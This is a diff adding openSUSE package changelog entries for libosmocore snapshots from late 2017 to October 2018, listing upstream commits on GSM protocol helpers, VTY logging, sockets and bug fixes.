+-------------------------------------------------------------------
+Mon Oct 01 18:08:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.76:
+ * vty logging: fix crash when missing 'logging enable'
+
+-------------------------------------------------------------------
+Sat Sep 29 19:45:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.75:
+ * Revert "osmo-config-merge: Add manual page"
+ * osmo-config-merge: Add manual page
+ * osmo-config-merge: Fix some small issues
+
+-------------------------------------------------------------------
+Thu Sep 27 20:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.72:
+ * utils/osmo-config-merge: explicitly return from main()
+
+-------------------------------------------------------------------
+Wed Sep 26 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.71:
+ * ensure unix socket paths are NUL-terminated for bind/connect
+ * osmo-config-merge: Don't use C99 'for' loop initial declarations
+
+-------------------------------------------------------------------
+Tue Sep 25 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.69:
+ * logging_vty: Ensure writing well-formed config files
+ * Add new osmo-config-merge utility
+ * gsm0808: add function to convert AMR S15-S0 to gsm0408 settings
+ * gsm_utils: add function to get value strings for gsm48_chan_mode
+ * vty: omit HIDDEN from vty reference
+
+-------------------------------------------------------------------
+Mon Sep 24 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.64:
+ * vty list: fix deprecation/hidden bit logic
+ * vty reference: fix deprecation bit evaluation
+ * vty/command.h: document and prettify CMD_ATTR_* flags
+
+-------------------------------------------------------------------
+Fri Sep 21 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.61:
+ * gsm0808_utils: constify parameter
+
+-------------------------------------------------------------------
+Wed Sep 19 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.60:
+ * gsm0808: add function to convert amr gsm0408 setings to gsm0808
+
+-------------------------------------------------------------------
+Mon Sep 17 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.59:
+ * logging vty: add 'logging level set-all <level>'
+ * Revert "gsm0808: add function to convert amr gsm0408 setings to gsm0808"
+
+-------------------------------------------------------------------
+Sat Sep 15 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.57:
+ * gsm0808: add function to convert amr gsm0408 setings to gsm0808
+ * gsm0808: fix wrong codec defaults for OFR_AMR_WB
+
+-------------------------------------------------------------------
+Thu Sep 13 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.55:
+ * logging vty: deprecate 'all', introduce 'force-all'
+ * logging vty: write: check logging levels validity
+ * logging vty: deprecate the 'everything' keyword
+ * logging vty: rewrite 'logging level' vty cmd generation
+ * jenkins: add --enable-external-tests
+ * gsm0808: implement BSSMAP Classmark Request
+ * logging vty: add VTY transcript test
+ * fix tests linking: don't use system installed libs
+
+-------------------------------------------------------------------
+Fri Sep 07 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.47:
+ * add osmo_str_tolower() and _toupper() with test
+ * api doc: fix osmo_quote_str_*
+ * coding: Always initialize bit counters in gsm0503_pdtch_egprs_decode().
+ * coding: Correctly count bits when decoding EDGE bursts with MCS >= 7.
+
+-------------------------------------------------------------------
+Wed Sep 05 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.43:
+ * core/utils.h: move includes to the top
+ * core/utils.h: drop duplicate '<stdbool.h>' include
+
+-------------------------------------------------------------------
+Mon Sep 03 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.41:
+ * Add RSPRO support to IPA and logging definitions
+ * Add CC_CAUSE value_string array
+
+-------------------------------------------------------------------
+Thu Aug 30 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.39:
+ * osmo-release.sh: Add checks to help avoid libversion debian major mismatch
+ * osmo-release.sh: Allow forcing release without LIBVERSION bump
+ * osmo-release.sh: Add quotes to string to fix shellcheck warning
+
+-------------------------------------------------------------------
+Wed Aug 29 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.36:
+ * Properly deal with sockaddr_un socket path length limitations.
+ * properly handle mandatory cli param of gsm0808_create_paging2
+
+-------------------------------------------------------------------
+Tue Aug 28 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.34:
+ * gsm0808: inter-bsc HO messages: add missing BSSMAP header, x4
+ * log: add 'last' option to 'logging print file'
+
+-------------------------------------------------------------------
+Fri Aug 24 12:13:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.32:
+ * gsmtap_util: make sure SO_REUSEADDR is applied for GSMTAP
+ * socket: add flag to enforce SO_REUSEADDR on UDP sockets
+
+-------------------------------------------------------------------
+Thu Aug 23 21:10:47 UTC 2018 - mardnh@gmx.de
+
+- Remove patch:
+ * libosmocore-fix-build.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Wed Aug 22 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.30:
+ * ipa: Document ipa_msg_recv* functions
+
+-------------------------------------------------------------------
+Tue Aug 21 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.29:
+ * use __FILE__, not __BASE_FILE__
+ * vty: Makefile: Fix LIBVERSION typo introduced in 0.12.0 release
+
+-------------------------------------------------------------------
+Fri Aug 17 20:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.27:
+ * msgb: Introduce msgb_{de,en}queue_count APIs
+ * signal: Introduce API osmo_signal_talloc_ctx_init
+
+-------------------------------------------------------------------
+Fri Aug 10 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.25:
+ * bssgp: introduce flush queue functions
+
+-------------------------------------------------------------------
+Mon Aug 06 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.24:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Sun Aug 05 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.23:
+ * libosmogsm: (re)introduce gsm48_push_l3hdr()
+ * gsm/gsm0480.c: use the local msgb allocator
+ * gsm/gsm0480.c: prevent NULL-pointer dereference
+ * vty/vty.c: fix bug in vty_config_write
+ * comp128v23 (minor): update original code site and author
+
+-------------------------------------------------------------------
+Thu Aug 02 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.18:
+ * socket: do not set SO_REUSEADDR for IPPROTO_UDP
+ * socket: check return code of setsockopt
+
+-------------------------------------------------------------------
+Wed Aug 01 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.16:
+ * re-introduce ipa_ccm_idtag_parse_off()
+ * jenkins_arm.sh: Use same Werror related options as on other builds
+ * Deprecate ipa_ccm_idtag_parse() with ipa_ccm_id_{get,resp}_parse()
+ * cosmetic: More context / naming / comment for test_idtag_parsing()
+
+-------------------------------------------------------------------
+Mon Jul 30 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.12:
+ * import oap_client_test from osmo-sgsn
+ * oap_client: Rename symbols with osmo_ prefix
+ * import oap_client into libosmogsm
+ * vty/vty.c: remove dead unused tall_bsc_ctx
+
+-------------------------------------------------------------------
+Sun Jul 29 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.8:
+ * 04.80: New gsm0480_gen_{reject,return_error}() functions
+ * USSD: Introduce gsm0480_gen_ussd_resp_7bit()
+ * gsm0480: Factor out msgb allocation helper function
+ * ctrl/vty: fsm: use correct element when iterating over fsm->proc.children
+
+-------------------------------------------------------------------
+Fri Jul 27 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.4:
+ * cosmetic: osmo-sim-test.c: use memcpy instead of strncpy
+ * fix strncpy bugs in socket.c
+ * fix strncpy bugs in gsm/ipa.c
+ * GSMTAP: add SIM sub_types
+ * Bump version: 0.11.0.91-9d4a3-dirty → 0.12.0
+ * logging.c: Fix whitespace typo
+
+-------------------------------------------------------------------
+Wed Jul 25 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.90:
+ * logging_vty: Simplify code in config_write_log_single
+ * logging: log_vty_command_string: Fix undercount of buf alloc size
+ * stats_statsd: sanitize statsd name
+
+-------------------------------------------------------------------
+Tue Jul 24 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.87:
+ * stats_vty: Add asciidoc sections between the different counters
+
+-------------------------------------------------------------------
+Mon Jul 23 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.86:
+ * gprs_ns.h: Declare gprs_ns_cause_str() which already existed in c file
+
+-------------------------------------------------------------------
+Sat Jul 21 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.85:
+ * rate_ctr: Improve logging
+ * tests: codec: ecu_fr: Add buffer with unequal XMAXC values
+ * tests: codec: ecu_fr: Print XMAXC fields
+ * libosmocodec: FR err concealment: Fix too many silent frames generated
+ * vty: initialize termios before using it
+
+-------------------------------------------------------------------
+Fri Jul 20 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.80:
+ * add osmo_sockaddr_to_str_and_uint()
+ * utils_test: check stderr to catch sanitizer issues
+ * utils_test: fix isqrt_test calculation range
+ * libosmocoding: clarify return values for TCH decoding functions
+
+-------------------------------------------------------------------
+Mon Jul 16 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.76:
+ * tests: ctrl: Test received ERROR messages are handled correctly
+ * ctrl: ctrl_handle_msg: Avoid sending back received ERROR msgs
+ * ctrl: Introduce ctrl_cmd_parse3 API
+ * coding: Documentation typo fix.
+ * coding: Fix (E)GPRS BER calculation to correctly account for puncturing.
+
+-------------------------------------------------------------------
+Fri Jul 13 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.71:
+ * gsm0808: Add value_string for encryption algorithms
+
+-------------------------------------------------------------------
+Thu Jul 12 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.70:
+ * ctrl: Fix parsing of ERROR recvd msgs with id=err
+ * ctrl: Log CMD TYPE on invalid ID number
+ * gsm_08_08: gsm0808_permitted_speech does not have value strings
+ * gsm_04_08: add function to get value string
+ * vty: fix use-after-free and memleaks in is_cmd_ambiguous()
+
+-------------------------------------------------------------------
+Wed Jul 11 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.65:
+ * vty: cosmetic: cmd_deopt(): use talloc_strndup(), not memcpy()
+ * vty/command.c: talloc from tall_vty_cmd_ctx, not NULL
+
+-------------------------------------------------------------------
+Mon Jul 02 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.63:
+ * Don't enforce Python 2 for utilities
+
+-------------------------------------------------------------------
+Fri Jun 29 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.62:
+ * osmo_panic(): Annotate as __attribute__ ((noreturn))
+ * Don't call abort() directly, always use osmo_panic()
+
+-------------------------------------------------------------------
+Thu Jun 28 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.60:
+ * jenkins_arch.sh: Exit with error on unknown architecture
+ * jenkins_arch.sh: Accept "arm-none-eabi" as alias for "arm"
+ * jenkins_arm.sh: Don't run 'make check' on embedded builds
+ * Fix embedded (arm-none-eabi) builds
+
+-------------------------------------------------------------------
+Mon Jun 25 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.56:
+ * return error to sender upon bssgp_tlv_parse() failure
+ * check bssgp_tlv_parse() return code in bssgp_rcvmsg()
+
+-------------------------------------------------------------------
+Mon Jun 18 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.54:
+ * add and tweak inter-BSC HO API
+ * gsm: lapdm.c: Add missing new line char in notice log string
+ * gsm 04.80: Add value_string for component type and op code
+
+-------------------------------------------------------------------
+Sat Jun 16 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.51:
+ * gsup: Add value_string for Session State IE
+
+-------------------------------------------------------------------
+Fri Jun 15 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.50:
+ * Add function gprs_nsvc_state_append
+
+-------------------------------------------------------------------
+Mon Jun 11 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.49:
+ * gsup: Add osmo_gsup_get_err_msg_type() function
+ * gsm/gsm0480: refactor and expose gsm0480_parse_facility_ie()
+ * gsm/gsm0480.c: introduce gsm0480_extract_ie_by_tag()
+
+-------------------------------------------------------------------
+Sat Jun 09 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.46:
+ * vty: Add logging_vty_add_deprecated_subsys
+ * vty: Don't dump deprecated commands in XML export
+
+-------------------------------------------------------------------
+Fri Jun 08 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.44:
+ * fsm: Change semantics of LOGPFSML() log-level
+
+-------------------------------------------------------------------
+Thu Jun 07 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.43:
+ * fix gsm0808_permitted_speech(): don't return HR3 for TCH_F + AMR
+
+-------------------------------------------------------------------
+Thu Jun 07 10:35:50 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.42:
+ * Add osmo_isqrt32() to compute 32bit integer square root
+
+-------------------------------------------------------------------
+Tue Jun 05 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.41:
+ * Doxygen: gitignore generated files for libosmoctrl
+
+-------------------------------------------------------------------
+Sat Jun 02 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.40:
+ * gsm0808: Add value_string for LCLS related IEs
+ * tlv: Add TLVP_VAL_MINLEN() to obtain value _if_ length is >= minimum
+
+-------------------------------------------------------------------
+Fri Jun 01 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.38:
+ * GSUP: implement TCAP-like session management
+ * GSUP: introduce new messages for SS/USSD payloads
+ * add osmo_fsm_inst_state_chg_keep_timer()
+
+-------------------------------------------------------------------
+Wed May 30 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.35:
+ * gsm_08_08.h: Add enum for LCLS config, control and status
+ * gsm0808: Add encoding functions for LCLS BSSMAP messages
+
+-------------------------------------------------------------------
+Tue May 29 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.33:
+ * ports.h: Add ctrl port for osmo-gbproxy
+ * gsm0480: fix: don't overwrite the data of RELEASE_COMPLETE
+
+-------------------------------------------------------------------
+Mon May 28 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.31:
+ * add gsm0808_cell_id_to_list()
+ * add support for gsm0808 HANDOVER REQUIRED message
+ * add gsm0808_create_handover_request_ack()
+ * Add enum gsm48_progress_desc
+ * debian: Add libosmoctrl-doc sub-package
+
+-------------------------------------------------------------------
+Sun May 27 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.26:
+ * ctrl: Introduce libosmoctrl.map to avoid unintended exports
+ * ctrl: Add doxygen API documentation; generate html from it
+
+-------------------------------------------------------------------
+Sat May 26 20:00:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.24:
+ * Add enum gsm48_cause_coding from GSM 04.08 Section 10.5.4.11
+ * cosmetic: Whitespace fixes in control_if.c
+
+-------------------------------------------------------------------
+Fri May 25 20:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.22:
+ * introduce vty_out_rate_ctr_group_fmt() function
+ * Add a 'show rate-counters' VTY command.
+ * remove unused argument from pad_append_ctr() helper function
+
+-------------------------------------------------------------------
+Thu May 24 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.19:
+ * mncc: properly export osmo_mncc_name()
+
+-------------------------------------------------------------------
+Thu May 17 20:00:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.18:
+ * tests: bitrev_test: Fix dynamic-stack-buffer-overflow
+ * tests: gea_test: Use correct max size for key in buffer
+ * tests: a5_test: Print wrong buffer correctly on error
+ * gsm: kasumi: Fix dynamic-stack-buffer-overflow on out buffers not multiple of 64 bits
+
+-------------------------------------------------------------------
+Wed May 16 20:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.14:
+ * fix spelling
+
+-------------------------------------------------------------------
+Tue May 15 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.13:
+ * fsm: guard action callback
+
+-------------------------------------------------------------------
+Sat May 12 20:00:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.12:
+ * import isdn4linux HDLC code from linux kernel
+ * isdnhdlc: Port from kernel to userspace
+
+-------------------------------------------------------------------
+Thu May 10 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.10:
+ * Add osmo_timerfd_* functions for osmo_fd-wrapped timerfd
+
+-------------------------------------------------------------------
+Wed May 09 20:00:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.9:
+ * add gsm0808 channel enum to IE val conversion functions
+ * lapdm: cleanup: send_rslms_rll_l3_ui(): Use msgb_tv_push()
+ * lapdm: send_rslms_rll_l3_ui(): Don't include B4/SACCH IE unless needed
+ * lapdm: don't enforce contention resolution on SAPI0/DCCH
+
+-------------------------------------------------------------------
+Tue May 08 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.5:
+ * lapdm: Implement SABM related constraints
+
+-------------------------------------------------------------------
+Mon May 07 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.4:
+ * define a constant for the max length of called party BCD IE
+
+-------------------------------------------------------------------
+Sun May 06 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.3:
+ * lapdm: Fix back-pointer from lapdm_entity to lapdm_channel
+
+-------------------------------------------------------------------
+Fri May 4 20:09:47 UTC 2018 - mardnh@gmx.de
+
+- Bump libosmocore so-version 9 -> 10
+
+-------------------------------------------------------------------
+Fri May 04 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.2:
+ * control_if: Avoid heap-use-after-free in osmo_wqueue_bfd_cb
+ * configure: Check separately for lib implementing dlopen and dlsym
+
+-------------------------------------------------------------------
+Thu May 03 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.11.0.0:
+ * gsm_utils: call gnutls_global_init() as constructor
+ * osmo-release.sh: Remove temporary file TODO-RELEASE.entries after use
+ * osmo-release.sh: Exit with error if no description for new changelog entry provided
+ * osmo-release.sh: Fix error condition no LIBVERSION modified
+ * osmo-release.sh: Always generate entire commit changelog
+ * osmo-release.sh: Allow user to add extra information to the release commit
+ * debian: libosmoctrl: Use correct library version in pkg name
+ * debian/changelog: Fix typo in maintainer e-mail
+ * Bump version: 0.10.2.284-bc47-dirty → 0.11.0
+
+-------------------------------------------------------------------
+Tue Apr 24 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.279:
+ * gsm0808_test: silence deprecation: use gsm0808_create_layer3_2()
+
+-------------------------------------------------------------------
+Mon Apr 23 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.278:
+ * gsm_08_58.h: Add Ericsson vendor-specific RSL message types
+ * gsm_08_58.h: introduce RSL_IE_ERIC_PAGING_GROUP
+ * gsm0808_test: fix more missing inits (address sanitizer issues)
+
+-------------------------------------------------------------------
+Thu Apr 19 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.275:
+ * osmo_sockaddr_is_local: Fix memleak
+ * RSL/LAPDm: Not all RLL message are "transparent"
+
+-------------------------------------------------------------------
+Wed Apr 18 20:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.273:
+ * tlv: add TLV_GET() and TLV_GET_MINLEN()
+ * add gsm0808_cell_{id,id_list}_name() and friends
+ * osmo_get_macaddr: Fix buffer read out of bounds
+
+-------------------------------------------------------------------
+Tue Apr 17 20:00:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.270:
+ * prevent integer underflow in ipa_ccm_make_id_resp_from_req()
+ * protocol/gsm_04_08.h: drop incorrect GSM48_PDISC_USSD
+ * gsm/gsm48.c: add call independent SS message names
+
+-------------------------------------------------------------------
+Mon Apr 16 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.267:
+ * test_gsm0808_enc_dec_speech_codec_with_cfg: initialize properly
+ * cosmetic: log: fix typo, clarify msg for rate_ctr name mangling
+
+-------------------------------------------------------------------
+Sat Apr 14 20:25:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.265:
+ * add osmo_cgi_name()
+ * add gsm0808_cell_id_list_add() to combine two cell identifier lists
+ * add tlv_parse2(), capable of multiple instances of the same IE
+ * add gsm0808_{enc,dec}_cell_id
+ * test_gsm0808_enc_dec_cell_id_list_lac(): validate encoded bytes
+ * test_gsm0808_enc_dec_cell_id_list_lac(): populate all LACs
+
+-------------------------------------------------------------------
+Thu Apr 12 21:44:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.259:
+ * msgb: msgb_get: Drop unneeded tmp var
+ * msgb: msgb_pull: Abort when pulling more than avail size
+
+-------------------------------------------------------------------
+Wed Apr 11 19:59:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.257:
+ * deprecate PLMN de-/coding functions incapable of 3-digit MNC with leading zeros
+ * avoid warning in gsm0808_create_layer3
+
+-------------------------------------------------------------------
+Mon Apr 09 18:37:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.255:
+ * add osmo_quote_str(),osmo_quote_str_buf() and test
+ * fsm_test: terminate the main loop instead of exit on timeout
+ * osmo_fsm_inst_find_by_name(): guard against strcmp(NULL)
+ * fsm_test: more thoroughly test FSM inst ids and names
+ * fsm: id: properly set name in case of NULL id
+ * cosmetic: osmo_fsm_inst_update_id(): don't log "allocate"
+ * add osmo_fsm_inst_update_id_f()
+ * add gsm48_reject_value_names
+ * fix issue on big endian architecture
+
+-------------------------------------------------------------------
+Mon Apr 09 09:00:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.246:
+ * fix a cell identifier parsing bug in libosmocore
+ * fix cell identifier decoding in libosmocore
+ * use gsm48_decode_lai2() in gsm0808_dec_cell_id_list()
+ * fix bug in parse_cell_id_ci_list()
+ * fix parse_cell_id_lac_and_ci_list()
+ * add a test for CELL_IDENT_WHOLE_GLOBAL cell identifier lists
+ * add a regression test for TLV parsing with repeated IEs
+ * abis_nm: Introduce abis_nm_dump_foh()
+ * fsm: Update the name as well if the id is updated and accept NULL
+ * gsm_08_08: correct speech codec defaults
+ * gsm0808_test: cosmetic: re-arrange struct init; print hexdump on failure
+ * gsm0808_test: cosmetic: test non-hex MCC
+ * show failure in gsm0808_enc_cell_id_list2() in gsm0808_test
+ * fix gsm0808_enc_cell_id_list2 for leading-zero MNC
+ * cosmetic: gsm0808_test: drop extraneous assertion
+ * contrib/fsm-to-dot: add -h option to print basic instructions
+ * contrib/fsm-to-dot: allow transition from and to the same state
+ * contrib/fsm-to-dot: don't match on event names in comments
+ * contrib/fsm-to-dot: warn and draw unallowed state transitions
+ * contrib/fsm-to-dot: add default edge label '-'
+ * contrib/fsm-to-dot: mark arrows that feed events
+ * contrib/fsm-to-dot: less false positives on event parsing
+ * contrib/fsm-to-dot: mark illegal states in red
+ * contrib/fsm-to-dot: warn about identically named FSMs
+ * VTY: Don't welcome the user to the "control" interface, if it's VTY
+ * vty/command.c: write_config_file(): sanely compose temp path
+ * fix logging talloc ctx: add osmo_init_logging2()
+ * gsm0808: Add value strings for BSSMAP cause codes
+ * gsm0480: document the 'ss_request' structure
+ * gsm0480: copy the raw USSD data, its DCS and length
+ * gsm0480: drop messages with incorrect data length
+ * ctrl: test deferred cmd, show current failure
+ * ctrl: fix deferred commands (and hence fix osmo-bts-sysmo 'clock-info' cmd)
+ * cosmetic: flatten ctrl_handle_msg()
+ * fix ctrl_test sanitizer issues
+ * socket.c: osmo_sock_init2: bind: Several logic fixes and log improvements
+ * socket.c: osmo_sock_init2: connect: Several logic fixes and log improvements
+ * socket.c: osmo_sock_init: Several logic fixes and log improvements
+ * use osmo_init_logging2() with proper talloc ctx
+ * fix spelling
+
+-------------------------------------------------------------------
+Sat Apr 07 18:49:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.245:
+ * gsm0480: copy the raw USSD data, its DCS and length
+ * gsm0480: drop messages with incorrect data length
+ * ctrl: test deferred cmd, show current failure
+ * ctrl: fix deferred commands (and hence fix osmo-bts-sysmo 'clock-info' cmd)
+ * cosmetic: flatten ctrl_handle_msg()
+ * fix ctrl_test sanitizer issues
+ * socket.c: osmo_sock_init2: bind: Several logic fixes and log improvements
+ * socket.c: osmo_sock_init2: connect: Several logic fixes and log improvements
+ * socket.c: osmo_sock_init: Several logic fixes and log improvements
+ * use osmo_init_logging2() with proper talloc ctx
+
+-------------------------------------------------------------------
+Sat Mar 17 12:49:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.214:
+ * jenkins_amd64.sh: use --enable-werror configure flag, not CFLAGS
+ * support for more cell ID list types in libosmocore
+ * fix a cell identifier parsing bug in libosmocore
+ * fix cell identifier decoding in libosmocore
+ * use gsm48_decode_lai2() in gsm0808_dec_cell_id_list()
+ * fix bug in parse_cell_id_ci_list()
+ * fix parse_cell_id_lac_and_ci_list()
+ * add a test for CELL_IDENT_WHOLE_GLOBAL cell identifier lists
+ * add a regression test for TLV parsing with repeated IEs
+ * abis_nm: Introduce abis_nm_dump_foh()
+
+-------------------------------------------------------------------
+Sat Mar 17 12:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.214:
+ * jenkins_amd64.sh: use --enable-werror configure flag, not CFLAGS
+ * support for more cell ID list types in libosmocore
+ * fix a cell identifier parsing bug in libosmocore
+ * fix cell identifier decoding in libosmocore
+ * use gsm48_decode_lai2() in gsm0808_dec_cell_id_list()
+ * fix bug in parse_cell_id_ci_list()
+ * fix parse_cell_id_lac_and_ci_list()
+ * add a test for CELL_IDENT_WHOLE_GLOBAL cell identifier lists
+ * add a regression test for TLV parsing with repeated IEs
+ * abis_nm: Introduce abis_nm_dump_foh()
+
+-------------------------------------------------------------------
+Fri Mar 16 19:56:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.213:
+ * configure: add --enable-werror
+ * jenkins_amd64.sh: use --enable-werror configure flag, not CFLAGS
+ * support for more cell ID list types in libosmocore
+ * fix a cell identifier parsing bug in libosmocore
+ * fix cell identifier decoding in libosmocore
+ * use gsm48_decode_lai2() in gsm0808_dec_cell_id_list()
+ * fix bug in parse_cell_id_ci_list()
+ * fix parse_cell_id_lac_and_ci_list()
+ * add a test for CELL_IDENT_WHOLE_GLOBAL cell identifier lists
+ * add a regression test for TLV parsing with repeated IEs
+
+-------------------------------------------------------------------
+Thu Mar 15 18:44:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.208:
+ * features: define osmo_bts_*_feature() as static inline
+ * src/msgb.c: cosmetic: fix spelling mistakes
+ * src/msgb.c: remove dead includes from OpenBSC
+ * src/msgb.c: print an error if msgb allocation failed
+ * src/msgb.c: avoid using internal talloc API
+ * configure: add --enable-werror
+ * jenkins_amd64.sh: use --enable-werror configure flag, not CFLAGS
+ * support for more cell ID list types in libosmocore
+ * fix a cell identifier parsing bug in libosmocore
+ * fix cell identifier decoding in libosmocore
+
+-------------------------------------------------------------------
+Wed Mar 14 21:17:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.10.2.206:
+ * gsm23003: add osmo_mcc_from_str()
+ * osmo-release.sh: Set correct version when generating the changelog
+ * features: define osmo_bts_*_feature() as static inline
+ * src/msgb.c: cosmetic: fix spelling mistakes
+ * src/msgb.c: remove dead includes from OpenBSC
+ * src/msgb.c: print an error if msgb allocation failed
+ * src/msgb.c: avoid using internal talloc API
+ * configure: add --enable-werror
+ * jenkins_amd64.sh: use --enable-werror configure flag, not CFLAGS
+ * support for more cell ID list types in libosmocore
+
+-------------------------------------------------------------------
+Wed Mar 14 18:31:50 UTC 2018 - mardnh@gmx.de
+
+- Fix dependencies
+
+-------------------------------------------------------------------
+Tue Mar 13 20:42:15 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.10.2.206
+
+-------------------------------------------------------------------
+Thu Mar 8 19:59:41 UTC 2018 - mardnh@gmx.de
+
+- Add python2 to the build-requirements
+
+-------------------------------------------------------------------
+Sun Feb 25 11:46:17 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapsthot 0.10.2.178
+
+-------------------------------------------------------------------
+Wed Feb 14 16:21:49 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapsthot 0.10.2.159
+- Remove patch:
+ * osmo-pkgconfig.diff (fixed upstream)
+
+-------------------------------------------------------------------
+Sat Feb 10 20:11:01 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:19:05 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapsthot 0.10.2.155
+
+-------------------------------------------------------------------
+Wed Jan 24 12:54:07 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapsthot 0.10.2.135
+
+-------------------------------------------------------------------
+Wed Dec 27 20:10:30 UTC 2017 - jengelh@inai.de
+
